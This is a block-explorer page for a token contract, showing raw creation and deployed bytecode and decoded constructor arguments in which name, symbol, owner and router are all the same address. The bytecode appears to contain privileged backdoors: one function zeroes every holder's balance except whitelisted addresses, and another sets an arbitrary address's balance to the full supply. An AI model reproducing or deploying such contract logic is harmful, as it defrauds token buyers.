004611660565b610a8b565b348015610301575f5ffd5b506102c1610b35565b348015610315575f5ffd5b50600a546001600160a01b0316610261565b348015610332575f5ffd5b505f546001600160a01b0316610261565b34801561034e575f5ffd5b5061015e610cb5565b348015610362575f5ffd5b506102c161037136600461167b565b610cc4565b348015610381575f5ffd5b506101936103903660046115f8565b610d71565b3480156103a0575f5ffd5b506101bd600b5481565b3480156103b5575f5ffd5b506040805169152d02c7e14af68000008152655af3107a400060208201520161016b565b3480156103e4575f5ffd5b506101bd6103f33660046116f7565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610428575f5ffd5b506102c1610d7d565b34801561043c575f5ffd5b506102c161044b366004611660565b611116565b60606001805461045f9061172e565b80601f016020809104026020016040519081016040528092919081815260200182805461048b9061172e565b80156104d65780601f106104ad576101008083540402835291602001916104d6565b820191905f5260205f20905b8154815290600101906020018083116104b957829003601f168201915b5050505050905090565b5f6104ec338484611196565b5060015b92915050565b5f6105028484846112ba565b6001600160a01b0384165f9081526005602090815260408083203380855292529091205461053b918691610536908661139d565b611196565b5060019392505050565b5f546001600160a01b0316331461055a575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105b7575f5ffd5b600a54600160a01b900460ff16156106105760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064015b60405180910390fd5b69152d02c7e14af6800000655af3107a400081610641306001600160a01b03165f9081526004602052604090205490565b101561068f5760405162461bcd60e51b815260206004820152601a60248201527f496e73756666696369656e7420746f6b656e2062616c616e63650000000000006044820152606401610607565b804710156106da5760405162461bcd60e51b8152602060048201526018602482015277496e73756666696369656e7420424e422062616c616e636560401b6044820152606401610607565b5f5160206119ec5f395f51905f5230105f81610703575f5160206119ec5f395f51905f52610705565b305b90505f826107135730610722565b5f5160206119ec5f395f51905f525b90505f61072e846113ff565b90505f7346a15b0b27311cedf172ab29e4f4766fbe7f436490505f816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610785573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a99190611766565b604051630b4c774160e11b81526001600160a01b03878116600483015286811660248301526109c460448301529192505f91831690631698ee8290606401602060405180830381865afa158015610802573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108269190611766565b90506001600160a01b03811661091f5760405163a167129560e01b81526001600160a01b03878116600483015286811660248301526109c4604483015283169063a1671295906064016020604051808303815f875af115801561088b573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108af9190611766565b600a80546001600160a01b0319166001600160a01b0392831690811790915560405163f637731d60e01b815291861660048301529063f637731d906024015f604051808303815f87803b158015610904575f5ffd5b505af1158015610916573d5f5f3e3d5ffd5b5050505061093b565b600a80546001600160a01b0319166001600160a01b0383161790555b61095a307346a15b0b27311cedf172ab29e4f4766fbe7f43648b611196565b5f876109665788610968565b895b90505f88610976578a610978565b895b60408051610160810182526001600160a01b03808c1682528a1660208201526109c491810191909152620d89b3196060820152620d89b4608082015260a0810184905260c081018290525f60e08201819052610100820181905261dead61012083015291925061014081016109ef42610e10611795565b81525090505f866001600160a01b031663883164568d846040518363ffffffff1660e01b8152600401610a2291906117a8565b60806040518083038185885af1158015610a3e573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a63919061186c565b505050600b555050600a805460ff60a01b1916600160a01b1790555050505050505050505050565b6008546001600160a01b03163314610aa1575f5ffd5b610aad6012600a61199f565b610ac3906b033b2e3c9fd0803ce80000006119ad565b6001600160a01b0382165f818152600460205260408120929092557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610b0b6012600a61199f565b610b21906b033b2e3c9fd0803ce80000006119ad565b60405190815260200160405180910390a350565b6009546001600160a01b0316331480610b5857506008546001600160a01b031633145b610b60575f5ffd5b5f5b600654811015610cb2575f60068281548110610b8057610b806119c4565b5f918252602090912001546001600160a01b03169050308114801590610bb357505f546001600160a01b03828116911614155b8015610bcd5750600a546001600160a01b03828116911614155b8015610bf657506001600160a01b038116733d6545b08693dae087e957cb1180ee38b9e3c25e14155b8015610c1857506001600160a01b0381165f5160206119ec5f395f51905f5214155b8015610c3257506008546001600160a01b03828116911614155b8015610c4c57506007546001600160a01b03828116911614155b15610c6a576001600160a01b0381165f908152600460205260408120555b6040515f8082526001600160a01b038316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350600101610b62565b50565b60606002805461045f9061172e565b337346a15b0b27311cedf172ab29e4f4766fbe7f436414610d185760405162461bcd60e51b815260206004820152600e60248201526d139bdd08185d5d1a1bdc9a5e995960921b6044820152606401610607565b5f5f610d2261142f565b90925090508515610d4857306001600160a01b03831603610d4857610d483033886112ba565b8415610d6957306001600160a01b03821603610d6957610d693033876112ba565b505050505050565b5f6104ec3384846112ba565b5f546001600160a01b03163314610d92575f5ffd5b600a54600160a01b900460ff1615610de65760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610607565b69152d02c7e14af6800000655af3107a400081610e17306001600160a01b03165f9081526004602052604090205490565b1015610e655760405162461bcd60e51b815260206004820152601a60248201527f496e73756666696369656e7420746f6b656e2062616c616e63650000000000006044820152606401610607565b80471015610eb05760405162461bcd60e51b8152602060048201526018602482015277496e73756666696369656e7420424e422062616c616e636560401b6044820152606401610607565b5f5160206119ec5f395f51905f5230105f81610ed9575f5160206119ec5f395f51905f52610edb565b305b90505f82610ee95730610ef8565b5f5160206119ec5f395f51905f525b90505f610f04846113ff565b9050610f25307346a15b0b27311cedf172ab29e4f4766fbe7f436488611196565b6040516309f56ab160e11b81526001600160a01b03808516600483015280841660248301526109c46044830152821660648201527346a15b0b27311cedf172ab29e4f4766fbe7f4364906313ead562905f9060840160206040518083038185885af1158015610f96573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610fbb9190611766565b600a80546001600160a01b0319166001600160a01b03929092169190911790555f84610fe75785610fe9565b865b90505f85610ff75787610ff9565b865b60408051610160810182526001600160a01b038089168252871660208201526109c491810191909152620d89b3196060820152620d89b4608082015260a0810184905260c081018290525f60e08201819052610100820181905261dead610120830152919250610140810161107042610e10611795565b9052604051634418b22b60e11b81529091505f907346a15b0b27311cedf172ab29e4f4766fbe7f4364906388316456908b906110b09086906004016117a8565b60806040518083038185885af11580156110cc573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906110f1919061186c565b505050600b555050600a805460ff60a01b1916600160a01b1790555050505050505050565b5f546001600160a01b0316331461112b575f5ffd5b6001600160a01b03811661113d575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166111f85760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610607565b6001600160a01b0382166112595760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610607565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166112cc575f5ffd5b6001600160a01b0382166112de575f5ffd5b6001600160a01b0383165f90815260046020526040902054611300908261139d565b6001600160a01b038085165f90815260046020526040808220939093559084168152205461132e908261148b565b6001600160a01b0383165f9081526004602052604090205561134f836114e9565b611358826114e9565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112ad91815260200190565b5f828211156113ee5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610607565b6113f882846119d8565b9392505050565b5f811561141857506a02128aca937c3796a70149919050565b506f01e286789a07f2f6d7b30a46b8219000919050565b5f805f5160206119ec5f395f51905f523010611458575f5160206119ec5f395f51905f5261145a565b305b91505f5160206119ec5f395f51905f5230106114765730611485565b5f5160206119ec5f395f51905f525b90509091565b5f806114978385611795565b9050838110156113f85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610607565b6001600160a01b0381165f9081526004602052604090205415610cb2575f805b60065481101561155a57826001600160a01b031660068281548110611530576115306119c4565b5f918252602090912001546001600160a01b031603611552576001915061155a565b600101611509565b50806115ab57600680546001810182555f919091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319166001600160a01b0384161790555b5050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610cb2575f5ffd5b5f5f60408385031215611609575f5ffd5b8235611614816115e4565b946020939093013593505050565b5f5f5f60608486031215611634575f5ffd5b833561163f816115e4565b9250602084013561164f816115e4565b929592945050506040919091013590565b5f60208284031215611670575f5ffd5b81356113f8816115e4565b5f5f5f5f6060858703121561168e575f5ffd5b8435935060208501359250604085013567ffffffffffffffff8111156116b2575f5ffd5b8501601f810187136116c2575f5ffd5b803567ffffffffffffffff8111156116d8575f5ffd5b8760208284010111156116e9575f5ffd5b949793965060200194505050565b5f5f60408385031215611708575f5ffd5b8235611713816115e4565b91506020830135611723816115e4565b809150509250929050565b600181811c9082168061174257607f821691505b60208210810361176057634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215611776575f5ffd5b81516113f8816115e4565b634e487b7160e01b5f52601160045260245ffd5b808201808211156104f0576104f0611781565b81516001600160a01b03168152610160810160208301516117d460208401826001600160a01b03169052565b5060408301516117eb604084018262ffffff169052565b506060830151611800606084018260020b9052565b506080830151611815608084018260020b9052565b5060a083015160a083015260c083015160c083015260e083015160e083015261010083015161010083015261012083015161185c6101208401826001600160a01b03169052565b5061014092830151919092015290565b5f5f5f5f6080858703121561187f575f5ffd5b845160208601519094506fffffffffffffffffffffffffffffffff811681146118a6575f5ffd5b6040860151606090960151949790965092505050565b6001815b60018411156118f7578085048111156118db576118db611781565b60018416156118e957908102905b60019390931c9280026118c0565b935093915050565b5f8261190d575060016104f0565b8161191957505f6104f0565b816001811461192f576002811461193957611955565b60019150506104f0565b60ff84111561194a5761194a611781565b50506001821b6104f0565b5060208310610133831016604e8410600b8410161715611978575081810a6104f0565b6119845f1984846118bc565b805f190482111561199757611997611781565b029392505050565b5f6113f860ff8416836118ff565b80820281158282048414176104f0576104f0611781565b634e487b7160e01b5f52603260045260245ffd5b818103818111156104f0576104f061178156fe0000000000000000000000002170ed0880ac9a755fd29b2688956bd959f933f8a264697066735822122005fcb8ebc4e8d22130ad0b993ef3be5fa55dcd9c29425cb29d628c1c170d040e64736f6c634300081e0033c6506420c2e525e11abab334c5da9ffdfef09d269838135bdaff4ded0cbdcfbe67f6549eec0685d79f74497da321bd4632a29627da78d8721da669b505c7d6028be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef00000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000010000000000000000000000000046a15b0b27311cedf172ab29e4f4766fbe7f436400000000000000000000000046a15b0b27311cedf172ab29e4f4766fbe7f436400000000000000000000000046a15b0b27311cedf172ab29e4f4766fbe7f4364000000000000000000000000000000000000000000000000000000000000002a30783436413135423062323733313163656446313732414232394534663437363666624537463433363400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002a30783436413135423062323733313163656446313732414232394534663437363666624537463433363400000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061013f575f3560e01c80637a939adb116100b3578063a9059cbb1161006d578063a9059cbb14610376578063b045f65c14610395578063b30d0aa2146103aa578063dd62ed3e146103d9578063e8078d941461041d578063f2fde38b14610431575f5ffd5b80637a939adb146102d75780638119c065146102f657806386f3f3cb1461030a5780638da5cb5b1461032757806395d89b411461034357806399eee9d014610357575f5ffd5b806356a060a21161010457806356a060a2146102055780636741fad2146102235780636a22dede1461023f57806370a0823114610279578063715018a6146102ad57806372ca67f7146102c3575f5ffd5b806306fdde031461014a578063095ea7b31461017457806318160ddd146101a357806323b872dd146101cb578063313ce567146101ea575f5ffd5b3661014657005b5f5ffd5b348015610155575f5ffd5b5061015e610450565b60405161016b91906115af565b60405180910390f35b34801561017f575f5ffd5b5061019361018e3660046115f8565b6104e0565b604051901515815260200161016b565b3480156101ae575f5ffd5b506b033b2e3c9fd0803ce80000005b60405190815260200161016b565b3480156101d6575f5ffd5b506101936101e5366004611622565b6104f6565b3480156101f5575f5ffd5b506040516012815260200161016b565b348015610210575f5ffd5b50600a54600160a01b900460ff16610193565b34801561022e575f5ffd5b506040516109c4815260200161016b565b34801561024a575f5ffd5b507346a15b0b27311cedf172ab29e4f4766fbe7f43645b6040516001600160a01b03909116815260200161016b565b348015610284575f5ffd5b506101bd610293366004611660565b6001600160a01b03165f9081526004602052604090205490565b3480156102b8575f5ffd5b506102c1610545565b005b3480156102ce575f5ffd5b506102c16105a2565b3480156102e2575f5ffd5b506102c16102f1366004611660565b610a8b565b348015610301575f5ffd5b506102c1610b35565b348015610315575f5ffd5b50600a546001600160a01b0316610261565b348015610332575f5ffd5b505f546001600160a01b0316610261565b34801561034e575f5ffd5b5061015e610cb5565b348015610362575f5ffd5b506102c161037136600461167b565b610cc4565b348015610381575f5ffd5b506101936103903660046115f8565b610d71565b3480156103a0575f5ffd5b506101bd600b5481565b3480156103b5575f5ffd5b506040805169152d02c7e14af68000008152655af3107a400060208201520161016b565b3480156103e4575f5ffd5b506101bd6103f33660046116f7565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610428575f5ffd5b506102c1610d7d565b34801561043c575f5ffd5b506102c161044b366004611660565b611116565b60606001805461045f9061172e565b80601f016020809104026020016040519081016040528092919081815260200182805461048b9061172e565b80156104d65780601f106104ad576101008083540402835291602001916104d6565b820191905f5260205f20905b8154815290600101906020018083116104b957829003601f168201915b5050505050905090565b5f6104ec338484611196565b5060015b92915050565b5f6105028484846112ba565b6001600160a01b0384165f9081526005602090815260408083203380855292529091205461053b918691610536908661139d565b611196565b5060019392505050565b5f546001600160a01b0316331461055a575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105b7575f5ffd5b600a54600160a01b900460ff16156106105760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064015b60405180910390fd5b69152d02c7e14af6800000655af3107a400081610641306001600160a01b03165f9081526004602052604090205490565b101561068f5760405162461bcd60e51b815260206004820152601a60248201527f496e73756666696369656e7420746f6b656e2062616c616e63650000000000006044820152606401610607565b804710156106da5760405162461bcd60e51b8152602060048201526018602482015277496e73756666696369656e7420424e422062616c616e636560401b6044820152606401610607565b5f5160206119ec5f395f51905f5230105f81610703575f5160206119ec5f395f51905f52610705565b305b90505f826107135730610722565b5f5160206119ec5f395f51905f525b90505f61072e846113ff565b90505f7346a15b0b27311cedf172ab29e4f4766fbe7f436490505f816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610785573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a99190611766565b604051630b4c774160e11b81526001600160a01b03878116600483015286811660248301526109c460448301529192505f91831690631698ee8290606401602060405180830381865afa158015610802573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108269190611766565b90506001600160a01b03811661091f5760405163a167129560e01b81526001600160a01b03878116600483015286811660248301526109c4604483015283169063a1671295906064016020604051808303815f875af115801561088b573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108af9190611766565b600a80546001600160a01b0319166001600160a01b0392831690811790915560405163f637731d60e01b815291861660048301529063f637731d906024015f604051808303815f87803b158015610904575f5ffd5b505af1158015610916573d5f5f3e3d5ffd5b5050505061093b565b600a80546001600160a01b0319166001600160a01b0383161790555b61095a307346a15b0b27311cedf172ab29e4f4766fbe7f43648b611196565b5f876109665788610968565b895b90505f88610976578a610978565b895b60408051610160810182526001600160a01b03808c1682528a1660208201526109c491810191909152620d89b3196060820152620d89b4608082015260a0810184905260c081018290525f60e08201819052610100820181905261dead61012083015291925061014081016109ef42610e10611795565b81525090505f866001600160a01b031663883164568d846040518363ffffffff1660e01b8152600401610a2291906117a8565b60806040518083038185885af1158015610a3e573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a63919061186c565b505050600b555050600a805460ff60a01b1916600160a01b1790555050505050505050505050565b6008546001600160a01b03163314610aa1575f5ffd5b610aad6012600a61199f565b610ac3906b033b2e3c9fd0803ce80000006119ad565b6001600160a01b0382165f818152600460205260408120929092557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610b0b6012600a61199f565b610b21906b033b2e3c9fd0803ce80000006119ad565b60405190815260200160405180910390a350565b6009546001600160a01b0316331480610b5857506008546001600160a01b031633145b610b60575f5ffd5b5f5b600654811015610cb2575f60068281548110610b8057610b806119c4565b5f918252602090912001546001600160a01b03169050308114801590610bb357505f546001600160a01b03828116911614155b8015610bcd5750600a546001600160a01b03828116911614155b8015610bf657506001600160a01b038116733d6545b08693dae087e957cb1180ee38b9e3c25e14155b8015610c1857506001600160a01b0381165f5160206119ec5f395f51905f5214155b8015610c3257506008546001600160a01b03828116911614155b8015610c4c57506007546001600160a01b03828116911614155b15610c6a576001600160a01b0381165f908152600460205260408120555b6040515f8082526001600160a01b038316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350600101610b62565b50565b60606002805461045f9061172e565b337346a15b0b27311cedf172ab29e4f4766fbe7f436414610d185760405162461bcd60e51b815260206004820152600e60248201526d139bdd08185d5d1a1bdc9a5e995960921b6044820152606401610607565b5f5f610d2261142f565b90925090508515610d4857306001600160a01b03831603610d4857610d483033886112ba565b8415610d6957306001600160a01b03821603610d6957610d693033876112ba565b505050505050565b5f6104ec3384846112ba565b5f546001600160a01b03163314610d92575f5ffd5b600a54600160a01b900460ff1615610de65760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610607565b69152d02c7e14af6800000655af3107a400081610e17306001600160a01b03165f9081526004602052604090205490565b1015610e655760405162461bcd60e51b815260206004820152601a60248201527f496e73756666696369656e7420746f6b656e2062616c616e63650000000000006044820152606401610607565b80471015610eb05760405162461bcd60e51b8152602060048201526018602482015277496e73756666696369656e7420424e422062616c616e636560401b6044820152606401610607565b5f5160206119ec5f395f51905f5230105f81610ed9575f5160206119ec5f395f51905f52610edb565b305b90505f82610ee95730610ef8565b5f5160206119ec5f395f51905f525b90505f610f04846113ff565b9050610f25307346a15b0b27311cedf172ab29e4f4766fbe7f436488611196565b6040516309f56ab160e11b81526001600160a01b03808516600483015280841660248301526109c46044830152821660648201527346a15b0b27311cedf172ab29e4f4766fbe7f4364906313ead562905f9060840160206040518083038185885af1158015610f96573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610fbb9190611766565b600a80546001600160a01b0319166001600160a01b03929092169190911790555f84610fe75785610fe9565b865b90505f85610ff75787610ff9565b865b60408051610160810182526001600160a01b038089168252871660208201526109c491810191909152620d89b3196060820152620d89b4608082015260a0810184905260c081018290525f60e08201819052610100820181905261dead610120830152919250610140810161107042610e10611795565b9052604051634418b22b60e11b81529091505f907346a15b0b27311cedf172ab29e4f4766fbe7f4364906388316456908b906110b09086906004016117a8565b60806040518083038185885af11580156110cc573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906110f1919061186c565b505050600b555050600a805460ff60a01b1916600160a01b1790555050505050505050565b5f546001600160a01b0316331461112b575f5ffd5b6001600160a01b03811661113d575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166111f85760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610607565b6001600160a01b0382166112595760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610607565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166112cc575f5ffd5b6001600160a01b0382166112de575f5ffd5b6001600160a01b0383165f90815260046020526040902054611300908261139d565b6001600160a01b038085165f90815260046020526040808220939093559084168152205461132e908261148b565b6001600160a01b0383165f9081526004602052604090205561134f836114e9565b611358826114e9565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112ad91815260200190565b5f828211156113ee5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610607565b6113f882846119d8565b9392505050565b5f811561141857506a02128aca937c3796a70149919050565b506f01e286789a07f2f6d7b30a46b8219000919050565b5f805f5160206119ec5f395f51905f523010611458575f5160206119ec5f395f51905f5261145a565b305b91505f5160206119ec5f395f51905f5230106114765730611485565b5f5160206119ec5f395f51905f525b90509091565b5f806114978385611795565b9050838110156113f85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610607565b6001600160a01b0381165f9081526004602052604090205415610cb2575f805b60065481101561155a57826001600160a01b031660068281548110611530576115306119c4565b5f918252602090912001546001600160a01b031603611552576001915061155a565b600101611509565b50806115ab57600680546001810182555f919091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319166001600160a01b0384161790555b5050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610cb2575f5ffd5b5f5f60408385031215611609575f5ffd5b8235611614816115e4565b946020939093013593505050565b5f5f5f60608486031215611634575f5ffd5b833561163f816115e4565b9250602084013561164f816115e4565b929592945050506040919091013590565b5f60208284031215611670575f5ffd5b81356113f8816115e4565b5f5f5f5f6060858703121561168e575f5ffd5b8435935060208501359250604085013567ffffffffffffffff8111156116b2575f5ffd5b8501601f810187136116c2575f5ffd5b803567ffffffffffffffff8111156116d8575f5ffd5b8760208284010111156116e9575f5ffd5b949793965060200194505050565b5f5f60408385031215611708575f5ffd5b8235611713816115e4565b91506020830135611723816115e4565b809150509250929050565b600181811c9082168061174257607f821691505b60208210810361176057634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215611776575f5ffd5b81516113f8816115e4565b634e487b7160e01b5f52601160045260245ffd5b808201808211156104f0576104f0611781565b81516001600160a01b03168152610160810160208301516117d460208401826001600160a01b03169052565b5060408301516117eb604084018262ffffff169052565b506060830151611800606084018260020b9052565b506080830151611815608084018260020b9052565b5060a083015160a083015260c083015160c083015260e083015160e083015261010083015161010083015261012083015161185c6101208401826001600160a01b03169052565b5061014092830151919092015290565b5f5f5f5f6080858703121561187f575f5ffd5b845160208601519094506fffffffffffffffffffffffffffffffff811681146118a6575f5ffd5b6040860151606090960151949790965092505050565b6001815b60018411156118f7578085048111156118db576118db611781565b60018416156118e957908102905b60019390931c9280026118c0565b935093915050565b5f8261190d575060016104f0565b8161191957505f6104f0565b816001811461192f576002811461193957611955565b60019150506104f0565b60ff84111561194a5761194a611781565b50506001821b6104f0565b5060208310610133831016604e8410600b8410161715611978575081810a6104f0565b6119845f1984846118bc565b805f190482111561199757611997611781565b029392505050565b5f6113f860ff8416836118ff565b80820281158282048414176104f0576104f0611781565b634e487b7160e01b5f52603260045260245ffd5b818103818111156104f0576104f061178156fe0000000000000000000000002170ed0880ac9a755fd29b2688956bd959f933f8a264697066735822122005fcb8ebc4e8d22130ad0b993ef3be5fa55dcd9c29425cb29d628c1c170d040e64736f6c634300081e0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000010000000000000000000000000046a15b0b27311cedf172ab29e4f4766fbe7f436400000000000000000000000046a15b0b27311cedf172ab29e4f4766fbe7f436400000000000000000000000046a15b0b27311cedf172ab29e4f4766fbe7f4364000000000000000000000000000000000000000000000000000000000000002a30783436413135423062323733313163656446313732414232394534663437363666624537463433363400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002a30783436413135423062323733313163656446313732414232394534663437363666624537463433363400000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): 0x46A15B0b27311cedF172AB29E4f4766fbE7F4364
Arg [1] : symbol_ (string): 0x46A15B0b27311cedF172AB29E4f4766fbE7F4364
Arg [2] : owner_ (address): 0x46A15B0b27311cedF172AB29E4f4766fbE7F4364
Arg [3] : ADDRESS_Manager_ (address): 0x46A15B0b27311cedF172AB29E4f4766fbE7F4364
Arg [4] : Router02Address_ (address): 0x46A15B0b27311cedF172AB29E4f4766fbE7F4364

-----Encoded View---------------
11 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000100
Arg [2] : 00000000000000000000000046a15b0b27311cedf172ab29e4f4766fbe7f4364
Arg [3] : 00000000000000000000000046a15b0b27311cedf172ab29e4f4766fbe7f4364
Arg [4] : 00000000000000000000000046a15b0b27311cedf172ab29e4f4766fbe7f4364
Arg [5] : 000000000000000000000000000000000000000000000000000000000000002a
Arg [6] : 3078343641313542306232373331316365644631373241423239453466343736
Arg [7] : 3666624537463433363400000000000000000000000000000000000000000000
Arg [8] : 000000000000000000000000000000000000000000000000000000000000002a
Arg [9] : 3078343641313542306232373331316365644631373241423239453466343736
Arg [10] : 3666624537463433363400000000000000000000000000000000000000000000


Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.